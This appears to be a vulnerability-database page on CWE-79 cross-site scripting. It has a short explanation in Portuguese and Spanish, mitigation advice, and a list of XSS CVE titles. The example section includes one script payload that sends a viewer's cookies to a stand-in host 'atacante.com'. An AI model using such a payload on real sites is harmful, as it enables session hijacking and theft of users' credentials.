Fallos del tipo CWE-79

30.201 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-4391MEDIUMHappy Addons for Elementor Authenticated (Contributor+) Stored-XSS <= 3.10.7 - Authenticated (Contributor+) Stored Cross-Site Scripting via Event Calendar WidgetEPSS 0.3%CVE-2024-20415MEDIUMA vulnerability in the web-based management interface of Cisco Firepower Management Center (FMC) Software could allow an unauthenticated, reEPSS 0.3%CVE-2024-4087MEDIUMRoyal Elementor Addons and Templates <= 1.3.975 - Authenticated (Contributor+) Stored Cross-Site Scripting via Back to Top WidgetEPSS 0.3%CVE-2024-9071MEDIUMEasy Demo Importer – A Modern One-Click Demo Import Solution <= 1.1.2 - Authenticated (Author+) Stored Cross-Site Scripting via SVG File UploadEPSS 0.3%CVE-2024-36674MEDIUMLyLme_spage v1.9.5 is vulnerable to Cross Site Scripting (XSS) via admin/link.php.EPSS 0.3%CVE-2024-2092MEDIUMElementor Addon Elements <= 1.13.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via Twitter WidgetEPSS 0.3%CVE-2023-52192MEDIUMWordPress Keap Official Opt-in Forms Plugin <= 1.0.11 is vulnerable to Cross Site Scripting (XSS)EPSS 0.3%CVE-2024-13153MEDIUMUnlimited Elements For Elementor (Free Widgets, Addons, Templates) <= 1.5.135 - Authenticated (Contributor+) Stored Cross-Site Scripting via Multiple WidgetsEPSS 0.3%CVE-2026-105644MEDIUMGhost: Stored XSS via SVG Files in Content ImportsEPSS 0.3%CVE-2024-4553MEDIUMWP Shortcodes Plugin — Shortcodes Ultimate <= 7.1.5 - Authenticated (Contributor+) Stored Cross-Site Scripting via su_members ShortcodeEPSS 0.3%CVE-2026-1572MEDIUMLivemesh Addons by Elementor <= 9.0 - Missing Authorization to Authenticated (Subscriber+) Stored Cross-Site Scripting via Plugin SettingsEPSS 0.3%CVE-2024-4626MEDIUMJetWidgets For Elementor <= 1.0.17 - Authenticated (Contributor+) Stored Cross-Site Scripting via layout_type and id ParametersEPSS 0.3%CVE-2024-4570MEDIUMElementor Addon Elements <= 1.13.5 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2026-40301MEDIUMrhukster/dom-sanitizer: SVG <style> tag allows CSS injection via unfiltered url() and @import directivesEPSS 0.3%CVE-2024-5001MEDIUMImage Hover Effects for Elementor with Lightbox and Flipbox <= 3.0.2 - Authenticated (Contributor+) Stored Cross-Site Scripting via _id, oxi_addons_f_title_tag, and content_description_tag ParametersEPSS 0.3%CVE-2023-0926MEDIUMCustom Permalinks <= 2.6.0 - Authenticated(Editor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2026-4329HIGHBlackhole for Bad Bots <= 3.8 - Unauthenticated Stored Cross-Site Scripting via User-Agent HTTP HeaderEPSS 0.3%CVE-2024-11930MEDIUMTaskbuilder – WordPress Project & Task Management plugin <= 3.0.6 - Authenticated (Contributor+) Stored Cross-Site Scripting via wppm_tasks ShortcodeEPSS 0.3%CVE-2024-8208MEDIUMnafisulbari/itsourcecode Insurance Management System editClient.php cross site scriptingEPSS 0.3%CVE-2026-75134MEDIUMSEOWriting WordPress Plugin 1.12.5 Stored XSS via iframe onloadEPSS 0.3%